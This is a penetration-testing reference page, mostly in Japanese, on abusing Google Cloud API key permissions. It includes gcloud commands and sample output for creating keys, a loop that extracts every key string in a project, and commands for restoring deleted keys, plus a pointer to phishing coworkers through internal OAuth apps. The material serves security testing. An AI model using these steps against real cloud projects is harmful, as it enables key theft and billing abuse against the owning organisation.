GCP - Apikeys Privesc

Support HackTricks

Apikeys

次の権限はAPIキーを作成し、盗むのに役立ちます。ドキュメントからの引用ではありません: APIキーは、プリンシパルなしでアプリケーションを識別するシンプルな暗号化された文字列です。これらは、公共データに匿名でアクセスするために便利であり、クォータ請求のためにAPIリクエストをプロジェクトに関連付けるために使用されます。

したがって、APIキーを使用すると、その会社にAPIの使用料を支払わせることができますが、権限を昇格させることはできません。

APIキーに関する詳細情報は次を確認してください:

GCP - API Keys Enum

APIキーを作成する他の方法については次を確認してください:

GCP - Serviceusage Privesc

Brute Force API Key access

プロジェクトでどのAPIが有効になっているか、または見つけたAPIキーに適用される制限がわからない場合、https://github.com/ozguralp/gmapsapiscannerツールを実行し、APIキーでアクセスできるものを確認するのが興味深いでしょう。

apikeys.keys.create

この権限は、APIキーを作成することを許可します:

gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]==\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}

You can find a script to automate the creation, exploit and cleaning of a vuln environment here.

デフォルトでは、ユーザーは新しいプロジェクトを作成する権限を持ち、新しいプロジェクトに対してオーナーの役割が付与されます。したがって、ユーザーはプロジェクトを作成し、そのプロジェクト内にAPIキーを作成することができます

apikeys.keys.getKeyString , apikeys.keys.list

これらの権限は、すべてのapiKeysをリストし、取得することと、キーを取得することを許可します

for  key  in  $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done

You can find a script to automate the creation, exploit and cleaning of a vuln environment here.

apikeys.keys.undelete , apikeys.keys.list

これらの権限は、削除されたAPIキーをリストおよび再生成することを可能にします。undeleteが完了した後、APIキーは出力に表示されます:

gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>

内部OAuthアプリケーションを作成して他の作業者をフィッシングする

この操作はサービス**clientauthconfig**に属するため、以下のページを確認して方法を学んでくださいaccording to the docs:

GWS - Google Platforms Phishing
HackTricksをサポートする

Last updated